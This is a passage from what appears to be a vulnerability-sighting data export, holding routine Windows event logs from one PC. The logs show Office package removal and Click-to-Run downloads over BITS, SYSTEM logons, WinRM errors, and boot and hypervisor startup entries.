deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2019-11091", "author": {"login": "automation"}}, {"uuid": "0c907ca4-70d0-4d18-b62d-2d66c6ec5268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:58:38.773815+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/1e11ee6c9642a5411cad5d6858526fc7", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations 